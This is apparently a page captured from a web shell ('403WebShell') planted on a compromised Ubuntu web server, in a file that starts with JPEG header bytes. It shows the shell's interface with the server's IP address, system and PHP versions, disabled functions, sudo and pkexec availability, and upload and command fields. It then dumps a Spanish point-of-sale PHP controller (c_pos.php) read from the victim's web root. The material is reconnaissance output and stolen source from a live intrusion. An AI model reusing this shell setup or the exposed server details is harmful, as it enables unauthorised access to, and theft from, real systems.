����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.191.154.2
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/sales1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/sales1/c_pos.php
<?php
session_start();
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");
include "stock.php";
function display_to_sql($date){
	return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2);
}
$method=$_POST['method'];
if( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && ( $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) )
{
	$pos = new pos();
	$menu = $pos->getSubMenuById(6);
	$menu_log = $menu[1];

	if($method == 'get_subtotal'){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getSubTotalTempSale($kasir,$uniqid);
		$result = array();
		$result['result'] = $array[0];
		$result['subtotal']= number_format($array[1],2);
		echo json_encode($result);
	}
	
	if($method == 'get_subtotalOC'){
		
		//buscamos el ultimo id de la tabla re y le sumamos uno
		$posR = new pos();
		$resultR = array();
		$queryR = $posR->getRe();
		$dataR = $queryR[1];
		//aumentamos en 1 para el proximo id
		$resultR['re_id'] = $dataR['id'] + 1;
		
		$uniqid =  0;
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getSubTotalTempSaleOC($kasir,$uniqid);
		$result = array();
		$result['result'] = $array[0];
		$result['total']= number_format($array[1],2);
		$result['data']= $resultR['re_id'];
		echo json_encode($result);
	}
	//guardar mercancia que se lleva repartidor 27/sept/2021
	if($method == 'get_subtotalOC2'){
		
		//buscamos el ultimo id de la tabla re y le sumamos uno
		$posR = new pos();
		$resultR = array();
		$queryR = $posR->getRe();
		$dataR = $queryR[1];
		//aumentamos en 1 para el proximo id
		$resultR['re_id'] = $dataR['id'] + 1;
		
		$uniqid =  0;
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getSubTotalTempSaleOC2($kasir,$uniqid);
		$result = array();
		$result['result'] = $array[0];
		$result['total']= number_format($array[1],2);
		$result['data']= $resultR['re_id'];
		echo json_encode($result);
	}
	
	if($method == 'get_total_sales')
	{
		//data: [810, 410, 260, 150],
		$result['t_A1'] = 810;
		$result['t_A2']= 520;
		$result['t_A3']= 260;
		$result['t_A3']= 150;
		echo json_encode($result);
	}

	if($method == 'get_trans_sale')
	{
		$first = display_to_sql($_POST['first']);
		$last	= display_to_sql($_POST['last']);
		$pos = new pos();
		$array = $pos->getTransSale($first,$last);
		$html='';
		$result = array();
		if($array[0] == true)
		{
			$i=1;
			$total=0;
			foreach ($array[1] as $key) {
				
				if($key['sts']== 0)
				{
					$html .= '<tr class="strikeout">';
					$btn = 'Eliminada';
				}else
				{
					$total =  $total + $key['total'];
					$html .= '<tr >';
					$btn =  '<button  type="submit" sale_id="'.$key['sale_id'].'"  title="Borrar Registro" class="btn btn-danger btn-sm btndeletesale "  id="btndeletesale'.$key['sale_id'].'" name=""  ><i class="fa fa-remove"></i></button>';
				}
				$html .= '	<td class="tdstrike">'.$i.'</td>
				<td class="tdstrike" style="min-width:80px">'.$btn.'</td>
				<td class="tdstrike">'.date('d/m/Y',strtotime($key['sale_date'])).'</td>
				<td class="tdstrike">'.$key['sale_id'].'</td>
				<td class="tdstrike">'.$key['username'].'</td>
				<td  class="tdstrike" style="text-align:right">$ '.number_format($key['paid'],2).'</td>
				<td  class="tdstrike" style="text-align:right">$ '.number_format($key['total'],2).'</td>
				
				<td class="tdstrike">'.$key['note'].'</td>
				
			
				</tr>';
				$i++;
			}
			$result['hasil'] = $html;
			$result['total'] = $total;
		}
		echo json_encode($result);
	}
	
	
	
	if($method == 'get_trans_cot')
	{
		$first = display_to_sql($_POST['first']);
		$last	= display_to_sql($_POST['last']);
		$pos = new pos();
		$array = $pos->getTransCot($first,$last);
		$html='';
		$result = array();
		if($array[0] == true)
		{
			$i=1;
			$total=0;
			foreach ($array[1] as $key) {
				
				if($key['sts']== 1)
				{
					$html .= '<tr class="strikeout">';
					$btn = 'Venta Realizada';
				}else
				{
					$total =  $total + $key['total'];
					$html .= '<tr >';
					$btn =  '<button  type="submit" sale_id="'.$key['sale_id'].'"  title="Convertir en Venta" class="btn btn-success btn-sm btndeletesale "  id="btndeletesale'.$key['sale_id'].'" name=""  ><i class="fa fa-check-circle"></i></button>';
				}
				$html .= '	<td class="tdstrike">'.$i.'</td>
				<td class="tdstrike" style="min-width:80px">'.$btn.'</td>
				<td class="tdstrike">'.date('d/m/Y',strtotime($key['sale_date'])).'</td>
				<td class="tdstrike">'.$key['sale_id'].'</td>
				<td class="tdstrike">'.$key['username'].'</td>
				<td  class="tdstrike" style="text-align:right">$ '.number_format($key['paid'],2).'</td>
				<td  class="tdstrike" style="text-align:right">$ '.number_format($key['total'],2).'</td>
				
				<td class="tdstrike">'.$key['note'].'</td>
				
			
				</tr>';
				$i++;
			}
			$result['hasil'] = $html;
			$result['total'] = $total;
		}
		echo json_encode($result);
	}
	
	if($method == 'get_trans_OC_pend')
	{
		$first = display_to_sql($_POST['first']);
		$last	= display_to_sql($_POST['last']);
		$pos = new pos();
		$array = $pos->getTransOC_P($first,$last);
		$html='';
		$result = array();
		if($array[0] == true)
		{
			$i=1;
			$total=0;
			foreach ($array[1] as $key) {
				
				
					$total =  $total + $key['total'];
					$html .= '<tr >';
					$btn =  '<button  type="submit" sale_id="'.$key['id'].'"  title="Cargar Productos" class="btn btn-success btn-sm btnCargarOC_pend "  id="btnCargarOC_pend'.$key['id'].'" name=""  ><i class="fa fa-check-circle"></i></button>';
				
				$html .= '	<td class="tdstrike">'.$i.'</td>
				<td class="tdstrike" style="min-width:80px">'.$btn.'</td>
				<td class="tdstrike">'.date('d/m/Y',strtotime($key['created_at'])).'</td>
				<td class="tdstrike">'.$key['id'].'</td>
				<td class="tdstrike">'.$key['user_id'].'</td>
				
				if('.$key['d_id'].' == 2){
				<td  class="tdstrike" style="text-align:right">pendiente</td>
				}
				
				<td  class="tdstrike" style="text-align:right">$ '.number_format($key['total'],2).'</td>
				
				if('.$key['is_draft'].' == 2){
					<td class="tdstrike">O.C. </td>
				}
				
				
			
				</tr>';
				$i++;
			}

			$result['hasil'] = $html;
			$result['total'] = $total;
			$result['prueba'] ="Espere!";	
		}
		else{
		   $result['prueba'] ="Error";	
		}
		
		
		echo json_encode($result);
	}
	
	
	

	if($method == 'check_tempsale'){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getSubTotalTempSale($kasir,$uniqid);
		$result = array();
		$hasil = $array[1];
		if($hasil >=1){
			$result['tempsale']=true;		
		}else
		{
			$result['tempsale']=false;
		}
		echo json_encode($result);
	}
	
	if($method == 'check_tempsale4'){
		$uniqid =  0;
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getSubTotalTempSaleOC($kasir,$uniqid);
		$result = array();
		$hasil = $array[1];
		if($hasil >=1){
			$result['tempsale']=true;		
		}else
		{
			$result['tempsale']=false;
		}
		echo json_encode($result);
	}

	if($method == 'save_trans')
	{
		$sale_id = substr($_POST['sale_id'],0,7);
		$person_id = $_POST['client_id'];
		$sale_date = display_to_sql($_POST['sale_date']);
		$paid =  $_POST['paid'];
		
		$f_pago1 =  $_POST['f_pago1'];
		$f_pago2 =  $_POST['f_pago2'];
		
		$total =  $_POST['total'];
		$disc_prcn = $_POST['disc_prcn']; 
		
		
		$disc_rp = $_POST['id_seller_ok'];
		
		
		$note =  $_POST['note'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$id_user =  $_SESSION['pos_id'];
		$id_seller = $_POST['id_seller_ok'];
		
		$pos = new pos();

	
			$insert = $pos->saveSale($sale_id, $sale_date,$total,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$f_pago1,$f_pago2,$id_seller,$person_id);
		
		
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		$retval['xsale_id'] = $insert[2];


		echo json_encode($retval);
	}
	
	if($method == 'save_trans3')
	{
		$sale_id = substr($_POST['sale_id'],0,7);
		$sale_date = display_to_sql($_POST['sale_date']);
		$paid =  $_POST['paid'];
		$id_client =  $_POST['id_client'];
		$total =  $_POST['total'];
		$disc_prcn = $_POST['disc_prcn']; 
		$disc_rp = $_POST['disc_rp'];
		$note =  $_POST['note'];
		$credit_amount = $_POST['credit_amount'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$id_user =  $_SESSION['pos_id'];
		$pos = new pos();

		$insert = $pos->saveSale3($sale_id,$sale_date,$total,$id_client,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$credit_amount);
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		$retval['xsale_id'] = $insert[2];

		echo json_encode($retval);
	}
	
	if($method == 'save_trans4')
	{
		$sale_id = $_POST['sale_id'];
		$sale_date = display_to_sql($_POST['sale_date']);
		$paid =  $_POST['paid'];
		$id_client =  $_POST['id_client'];
		$total =  $_POST['total'];
		$disc_prcn = $_POST['disc_prcn']; 
		$disc_rp = $_POST['disc_rp'];
		$note =  $_POST['note'];
		$credit_amount = $_POST['credit_amount'];
		$uniqid =  0;
		$id_user =  $_SESSION['pos_id'];
		$pos = new pos();

		$insert = $pos->saveSale4($sale_id,$sale_date,$total,$id_client,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$credit_amount);
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		$retval['xsale_id'] = "5886";

		echo json_encode($retval);
	}
	
	if($method == 'save_trans5')
	{
		$sale_id = $_POST['sale_id'];
		$sale_date = display_to_sql($_POST['sale_date']);
		$paid =  $_POST['paid'];
		$id_client =  $_POST['id_client'];
		$total =  $_POST['total'];
		$disc_prcn = $_POST['disc_prcn']; 
		$disc_rp = $_POST['disc_rp'];
		$note =  $_POST['note'];
		$credit_amount = $_POST['credit_amount'];
		$uniqid =  0;
		$id_user =  $_SESSION['pos_id'];
		$pos = new pos();

		$insert = $pos->saveSale5($sale_id,$sale_date,$total,$id_client,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$credit_amount);
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		$retval['xsale_id'] = "5886";

		echo json_encode($retval);
	}
	
	//registramos salida a ruta de reparto y venta 27/09/21
	if($method == 'save_trans6')
	{
		$sale_id = $_POST['sale_id'];
		$sale_date = display_to_sql($_POST['sale_date']);
		$paid =  $_POST['paid'];
		$id_client =  $_POST['id_client'];
		$total =  $_POST['total'];
		$disc_prcn = $_POST['disc_prcn']; 
		$disc_rp = $_POST['disc_rp'];
		$note =  $_POST['note'];
		$credit_amount = $_POST['credit_amount'];
		$uniqid =  0;
		$id_user =  $_SESSION['pos_id'];
		$pos = new pos();

		$insert = $pos->saveSale5($sale_id,$sale_date,$total,$id_client,$paid,$disc_prcn,$disc_rp,$uniqid,$id_user,$note,$credit_amount);
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		$retval['xsale_id'] = "5886";
	}

	if($method == 'save_temptable')
	{
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$id_item = $_POST['id_item'];
		$pos = new pos();
		$result = array();
		$query = $pos->getItem($id_item);
		$data = $query[1];
		$result['id_item'] = $data['id_item'];
		$result['item_name'] = $data['item_name'];
		$result['barcode'] = $data['barcode'];
		$result['qty'] = 1;
		$result['unit'] = $data['unit'];
		$result['price'] = $data['price'];
		$result['discprcn'] = 0;
		$result['discrp'] = 0;
		
		//Consultar product
		$bar = $result['barcode'];
		$posP = new pos();
		$queryP = $posP->getIdProduct($bar);
		$dataProd = $queryP[1];
		//id producto
		$id_prod = $dataProd['id'];
		$image =  $dataProd['image'];
		
		
		
		//revisamos promocion por producto
		$result2 = array();
		$query2 = $pos->getPromo($result['barcode']);
		$data2 = $query2[1];
		$result2['name'] = $data2['name'];
		$result2['tipo'] = $data2['tipo'];
		$result2['monto'] = $data2['monto'];
		$result2['product_id'] = $data2['product_id'];
		$result2['category_id'] = $data2['category_id'];
		$result2['client_id'] = $data2['client_id'];
		$result2['is_active'] = $data2['is_active'];
		$result2['created_ini'] = $data2['created_ini'];
		$result2['created_finish'] = $data2['created_finish'];
		$NombrePromo = $data2['name'];
		
		
		//comparamos si hay un producto dentro de las promos
		$operacion=0;
		if($result2['product_id']==$result['barcode']){
			
			//revisamos que tipo es por porcentaje = 1 o cantidad = 2
			if($result2['tipo'] == 1)
			{
				$result['discprcn']= $result2['monto']; 
				
			}elseif($result2['tipo']== 2){
				$result['price'] = $result['price'] - $result2['monto']; 
				$result['discrp'] = $result2['monto']; 
			}else
			{
				$result['price'] = $result['price'];
				$result['barcode']="ErrorPromo";
			}
			
		}
		
	
		$check = $pos->getCheckProduk($kasir,$uniqid,$result['id_item']);
		$jum = $check[1];
		
		
		$posStock = new pos();
		$product = $posStock->getStockProduk($kasir,$uniqid,$result['id_item']);
		//print_r($product);
		
		if( empty($product[1]) ){
			$codebar = $result['barcode'];
			$qtytemp = $result['qty'];
			$existAct =stock($codebar,$kasir);
		}else{
			$codebar =$product[1]['barcode'];
			$qtytemp =$product[1]['qty'];
			$existAct =stock($codebar,$kasir);
		}
		
		//validamos existencia menor a stock
		if( $qtytemp <= $existAct )
		{	
			//validamos precio mayor a cero
			if($result['price'] > 0 ){
				if($jum >=1)
				{
					
					if($qtytemp < $existAct)
					{
						$update = $pos->updateTempSale($kasir,$uniqid,$result['id_item']);
						$retval['result'] = $update[0];
						$retval['error'] = $update[1];
						$retval['promo'] = 	$NombrePromo;
					}else{
						//si es mayor manda mensaje de que no hay existencias
						$retval['msg'] = "mal2";
						$retval['error'] = "Quieres vender mas de lo que hay en existencia";
					}	
					
				}
				else
				{
					//buscamos el valor actual de la tabla tempsale y lo comparamos con el stock actual
					
					$insert = $pos->saveTempSale2($kasir,$uniqid, $image,$result['id_item'],$result['barcode'],$result['unit'],$result['item_name'],$result['qty'], $result['price'], $result['discprcn'],$result['discrp']);
					$retval['result'] = $insert[0];
					$retval['error'] = $insert[1];
					$retval['promo'] = 	$NombrePromo;
					
					
				}
			}else{
				$retval['msg'] = "mal";
			}
		}else{
						//si es mayor manda mensaje de que no hay existencias
						$retval['msg'] = "mal2";
						$retval['error'] = "Quieres vender mas de lo que hay en existencia";
					}	
		echo json_encode($retval);
	}
	
	
	
	if($method == 'save_temptable2')
	{
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$id_item = $_POST['id_item'];
		$kasir2 = $_SESSION['stock_id'];
		$barcode = $id_item;
		$pos = new pos();
		$result = array();
		$query = $pos->getItem3($id_item);
		$data = $query[1];
		$result['id_item'] = $data['id_item'];
		$result['item_name'] = $data['item_name'];
		$result['barcode'] = $data['barcode'];
		$result['qty'] = $_POST['qty'];
		$result['unit'] = $data['unit'];
		$result['price'] = $data['price'];
		$result['discprcn'] = 0;
		$result['discrp'] = 0;
		
		//Consultar product
		$bar = $id_item;
		$posP = new pos();
		$queryP = $posP->getIdProduct($bar);
		$data2 = $queryP[1];
		//id producto
		$resultP = $data2['id'];
		//barcode de producto
		$resultB = $data2['barcode'];
		$image =  $data2['image'];
		
		//Consultar Compras X USUARIO/ALMACEN
		$posC = new pos();
		$queryC = $posC->getItemCompras($resultP,$kasir2);
		$data3 = $queryC[1];
		$resultC = $data3['compras'];
		
		//Consultar Ordenes de Compras
		$posC2 = new pos();
		$queryC2 = $posC2->getItemCompras2($resultB,$kasir2);
		$data3a = $queryC2[1];
		$resultC2 = $data3a['Ocompras'];
		
		//SUMAMOS OC Y Compras
		 $resultC= $resultC2 + $resultC;
		
		//Consultar Ajustes
		$posM = new pos();
		$queryM = $posM->getItemMerma($resultP,$kasir2);
		$dataX = $queryM[1];
		 $resultM = $dataX['merma'];
		
		//Consultar Ventas
		$posV = new pos();
		$queryV = $posV->getItemVentas($bar,$kasir);
		$data4 = $queryV[1];
		$resultV = $data4['ventas'];
		if(!isset($resultV)){
		 $resultV=0;
		}
		
		//Consultar Devoluciones
		$posD = new pos();
		$queryD = $posD->getItemDev($resultP,$kasir2);
		$data5 = $queryD[1];
		$resultD = $data5['dev'];
		
		//existencias actuales agregando ordenes de compra
		$resultE = $resultC - $resultV + $resultD - $resultM;

				//revisamos promocion por producto
		$result2 = array();
		$query2 = $pos->getPromo($result['barcode']);
		$data2 = $query2[1];
		$result2['name'] = $data2['name'];
		$result2['tipo'] = $data2['tipo'];
		$result2['monto'] = $data2['monto'];
		$result2['product_id'] = $data2['product_id'];
		$result2['category_id'] = $data2['category_id'];
		$result2['client_id'] = $data2['client_id'];
		$result2['is_active'] = $data2['is_active'];
		$result2['created_ini'] = $data2['created_ini'];
		$result2['created_finish'] = $data2['created_finish'];
		$NombrePromo = $data2['name'];
		//comparamos si hay un producto dentro de las promos
		$operacion=0;
		if($result2['product_id']==$result['barcode']){
			
			//revisamos que tipo es por porcentaje = 1 o cantidad = 2
			if($result2['tipo'] == 1)
			{
				$result['discprcn']= $result2['monto']; 
				
			}elseif($result2['tipo']== 2){
				$result['price'] = $result['price'] - $result2['monto']; 
				$result['discrp'] = $result2['monto']; 
			}else
			{
				$result['price'] = $result['price'];
				$result['barcode']="ErrorPromo";
			}
			
		}
		
		$posStock = new pos();
		$product = $posStock->getStockProduk($kasir,$uniqid,$result['id_item']);
		//print_r($product);
		
		if( empty($product[1]) ){
			$codebar = $result['barcode'];
			$qtytemp = $result['qty'];
			$existAct =stock($codebar,$kasir);
		}else{
			$codebar =$product[1]['barcode'];
			$qtytemp =$product[1]['qty'];
			$existAct =stock($codebar,$kasir);
		}
		

		$check = $pos-> getCheckProduk($kasir,$uniqid,$result['id_item']);
		$jum = $check[1];
		//validamos precio mayor a cero
		if($result['price'] > 0 ){
		
			if($jum >=1)
			{
				
				//obtenemos el valor de la tabla
				if($qtytemp < $existAct)
					{
						$update = $pos->updateTempSale($kasir,$uniqid,$result['id_item']);
						$retval['result'] = $update[0];
						$retval['error'] = $update[1];
						$retval['msg'] = "bien";
						$retval['promo'] = 	$NombrePromo;
					}else{
						//si es mayor manda mensaje de que no hay existencias
						$retval['msg'] = "mal2";
						$retval['error'] = "Quieres vender mas de lo que hay en existencia";
					}	
					
				
				
				
				
			}
			else
			{
				
				if($resultE > 0 && $result['qty'] <= $resultE ){
					$insert = $pos->saveTempSale($kasir,$uniqid, $image,$result['id_item'],	$result['barcode'],$result['unit'],$result['item_name'],$result['qty'], $result['price'], $result['discprcn'],$result['discrp']);
					$retval['result'] = $insert[0];
					$retval['error'] = $insert[1];
					$retval['msg'] = "bien";
					$retval['promo'] = 	$NombrePromo;
				}else{
					$retval['result'] = false;
					$retval['error'] = "Sin Existencias";
					$retval['msg'] = "mal";
					$retval['promo'] = "null";
				}
				
			}
		}else{
			
			$retval['msg'] = "mal";
		}	
		echo json_encode($retval);
	}
	
	if($method == 'save_temptable3')
	{
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$id_item = $_POST['id_item'];
		$kasir2 = $_SESSION['stock_id'];
		
		$pos = new pos();
		$result = array();
		$query = $pos->getItem3($id_item);
		$data = $query[1];
		$result['id_item'] = $data['id_item'];
		$result['item_name'] = $data['item_name'];
		$result['barcode'] = $data['barcode'];
		$result['price'] = $data['price'];
		
		//Consultar product
		$bar = $id_item;
		$posP = new pos();
		$queryP = $posP->getIdProduct($bar);
		$data2 = $queryP[1];
		//id producto
		$resultP = $data2['id'];
		//barcode de producto
		$resultB = $data2['barcode'];
		
		//Consultar Compras X USUARIO/ALMACEN
		$posC = new pos();
		$queryC = $posC->getItemCompras($resultP,$kasir2);
		$data3 = $queryC[1];
		$resultC = $data3['compras'];
		
		//Consultar Ordenes de Compras
		$posC2 = new pos();
		$queryC2 = $posC2->getItemCompras2($resultB,$kasir2);
		$data3a = $queryC2[1];
		$resultC2 = $data3a['Ocompras'];
		
		//SUMAMOS OC Y Compras
		 $resultC= $resultC2 + $resultC;
		
		//Consultar Ajustes
		$posM = new pos();
		$queryM = $posM->getItemMerma($resultP,$kasir2);
		$dataX = $queryM[1];
		 $resultM = $dataX['merma'];
		
		//Consultar Ventas
		$posV = new pos();
		$queryV = $posV->getItemVentas($bar,$kasir);
		$data4 = $queryV[1];
		$resultV = $data4['ventas'];
		if(!isset($resultV)){
		 $resultV=0;
		}
		
		//Consultar Devoluciones
		$posD = new pos();
		$queryD = $posD->getItemDev($resultP,$kasir2);
		$data5 = $queryD[1];
		$resultD = $data5['dev'];
		
		//existencias actuales agregando ordenes de compra
		$resultE = $resultC - $resultV + $resultD - $resultM;
		
		$insert = $pos->saveTempSaleE($kasir,$uniqid,$result['id_item'],$result['barcode'],$result['item_name'],$result['price'],$resultC,$resultV, $resultD, $resultM, $resultE);	
		$retval['result'] = $insert[0];
		$retval['error'] = $insert[1];
		
		echo json_encode($retval);
		
	}
	
	//pedidos
	if($method == 'save_temptable4')
	{
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$id_item = $_POST['id_item'];
		$barcode = $id_item;
		$pos = new pos();
		$result = array();
		$query = $pos->getItem3($id_item);
		$data = $query[1];
		$result['id_item'] = $data['id_item'];
		$result['item_name'] = $data['item_name'];
		$result['barcode'] = $data['barcode'];
		$result['qty'] = $_POST['qty'];;
		$result['unit'] = $data['unit'];
		$result['price'] = $data['price'];
		
		//Consultamos el precio costo y hacemos la diferencia para obtener la utilidad
		$bar = $result['barcode'];
		$posP = new pos();
		$queryP = $posP->getIdProduct($bar);
		$data2 = $queryP[1];
		//Costo de producto
		$PrecioCosto = $data2['price_in'];
		//utilidad
		$Utilidad = $result['price'] - $PrecioCosto;
		//agregamos los valores a la tabla temporal de ordenes de Comp
		$result['discprcn'] = $PrecioCosto;
		$result['discrp'] = $Utilidad;
		
		//buscamos el ultimo id de la tabla re y le sumamos uno
		$posR = new pos();
		$resultR = array();
		$queryR = $posR->getRe();
		$dataR = $queryR[1];
		//aumentamos en 1 para el proximo id
		$resultR['re_id'] = $dataR['id'] + 1;
		

		$check = $pos->getCheckProduk4($kasir,$uniqid,$result['id_item']);
		$jum = $check[1];
		
		if($result['price'] > 0 ){
			if($jum >=1)
			{
				$update = $pos->updateTempSale4($kasir,$uniqid,$result['id_item']);
				$retval['result'] = $update[0];
				$retval['error'] = $update[1];
				$retval['data'] = $resultR['re_id'];
			}
			else
			{
				$insert = $pos->saveTempSale4($kasir,$uniqid,$result['id_item'],$result['barcode'],$result['unit'],$result['item_name'],$result['qty'], $result['price'], $result['discprcn'],$result['discrp']);
				$retval['result'] = $insert[0];
				$retval['error'] = $insert[1];
				$retval['data'] = $resultR['re_id'];
			}
		}else{
			$retval['msg'] = "mal";
		}	
		echo json_encode($retval);
	}


	if($method == 'reset_table'){
		$uniqid =  $_SESSION['pos_uniqid'];
		$iduser =  $_SESSION['pos_id'];
		$pos = new pos();
		$reset = $pos->resetTempSaleByUserSession($iduser,$uniqid);
		$retval['result'] = $reset[0];
		$retval['error'] = $reset[1];
		echo json_encode($retval);
	}
	
		if($method == 'reset_tableOC'){
		$uniqid =  0;
		$iduser =  $_SESSION['pos_id'];
		$pos = new pos();
		$reset = $pos->resetTempSaleByUserSessionOC($iduser,$uniqid);
		$retval['result'] = $reset[0];
		$retval['error'] = $reset[1];
		echo json_encode($retval);
	}

	if($method == 'deletedetail'){

		$id_item = $_POST['id_item'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$delete = $pos->deleteTempSaleProduct($kasir,$uniqid,$id_item);
		$retval['result'] = $delete[0];
		$retval['error'] = $delete[1];
		echo json_encode($retval);
	}
	
	if($method == 'deletedetail4'){

		$id_item = $_POST['id_item'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$delete = $pos->deleteTempSaleProduct($kasir,$uniqid,$id_item);
		$retval['result'] = $delete[0];
		$retval['error'] = $delete[1];
		echo json_encode($retval);
	}
	
	if($method == 'deletedetail2'){

		$id_item = $_POST['id_item'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$delete = $pos->deleteTempSaleProduct2($kasir,$uniqid,$id_item);
		$retval['result'] = $delete[0];
		$retval['error'] = $delete[1];
		echo json_encode($retval);
	}
	
	if($method == 'get_mostrador'){
		$item = "MOSTRADOR";
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$result = array();
		$query = $pos->getClientMostrador($item);
		$data = $query[1];
		$result['ClienteId'] = $data['id_cust'];
		$result['ClienteNombre'] = $data['name'];
		$result['result'] = $query[0];
		echo json_encode($result);
	}
	

	if($method == 'updatedetail'){
		//valor a cambiar
		$value=$_POST['nilai'];
		
		//columna a modificar
		$jenis = $_POST['jenis'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		//valor de id de operacion interna de tabla temporal de ventas
		$key = explode('|', base64_decode($_POST['key']));
		$id_item = $key[0];
		$unit = $key[1];
		if($jenis == 'hargajual' || $jenis == 'prices')
		{
			$update = $pos->updateTempSaleHargaSale($kasir,$uniqid,$id_item ,$value);
		}
		else if($jenis == 'qty')
		{
			
			
				$update = $pos->updateTempSaleQty($kasir,$uniqid,$id_item ,$value);
			
			
		}
		else if($jenis == 'disc')
		{
			$update = $pos->updateTempSaleDisc($kasir,$uniqid,$id_item ,$value);
		}
		else
		{
			echo 'error';
		}
		
				$retval['result'] = $update[0];
				$retval['error'] = $update[1];
			
		
		echo json_encode($retval);
	}
	
	//ajustar cantidad a orden de compra por producto
	if($method == 'updatedetail4'){
		//valor a cambiar
		$value=$_POST['nilai'];
		
		//columna a modificar
		$jenis = $_POST['jenis'];
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		//valor de id de operacion interna de tabla temporal de ventas
		$key = explode('|', base64_decode($_POST['key']));
		$id_item = $key[0];
		$unit = $key[1];
		if($jenis == 'hargajual' || $jenis == 'prices')
		{
			$update = $pos->updateTempSaleHargaSale4($kasir,$uniqid,$id_item ,$value);
		}
		else if($jenis == 'qty')
		{
			$update = $pos->updateTempSaleQty4($kasir,$uniqid,$id_item ,$value);
		}
		else if($jenis == 'disc')
		{
			$update = $pos->updateTempSaleDisc4($kasir,$uniqid,$id_item ,$value);
		}
		else
		{
			echo 'error';
		}
		$retval['result'] = $update[0];
		$retval['error'] = $update[1];
		echo json_encode($retval);
	}
	
	if($method == 'list_inventary'){
		$pos = new pos();
		$list = $pos->list_inventary();
		$retval['status'] = $list[0];
		$retval['message'] = $list[1];
		$retval['data'] = $list[2];
		echo json_encode($retval);
	}
	
	
	if($method == 'getdata' ){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getListTempSale($kasir,$uniqid);
		$data = $array[1];
		
		//verificamos que se pueda bloquear el precio dependiendo del usuario
			$posUser = new pos();
			$username = $_SESSION['pos_username'];
			$menu = $posUser->getUserMenu($username);
			$menu_log = $menu[1];
			
				$id_menu = $menu_log['h_menu'];
				$id_user = $menu_log['id_user'];
				$name_user = $menu_log['username'];
				$array_menu = explode(",", $id_menu);
					$bandera = array_search('10', $array_menu);
		
		$i=0;
		foreach ($data as $key) {
			$keys = $key['id_item'].'|'.$key['unit'];
			$keys = base64_encode($keys);
			
			
			
			if($bandera > 0){
			$data[$i]['price'] = '<a href="#" align="center" class="editparam" key="'.$keys.'"  datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</a> ';		
			}else{
				$data[$i]['price'] = '<label  align="center" class="editparam1" key="'.$keys.'"  datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</label> ';			
			}								
			
			$data[$i]['prices'] = '<button type="submit" title="Precios Alternos" class="btn btn-default ">
			<a href="#" class="btnprices" key="'.$keys.'"  datatitle="precios alternos" id="btnprices" dataparam="prices" val="'.$key['barcode'].'"> <i class="fa fa-bars"></i> Precios</a>
			</button>';
		
			
			$data[$i]['qty'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Cantidad" dataparam="qty" val="'.number_format($key['qty'],2).'">'.number_format($key['qty'],2).' '.$key['unit'].'</a>';
				
			
			$total = ($key['price'] - ($key['price'] * $key['discprc'] /100) ) * $key['qty'] ;
				
			
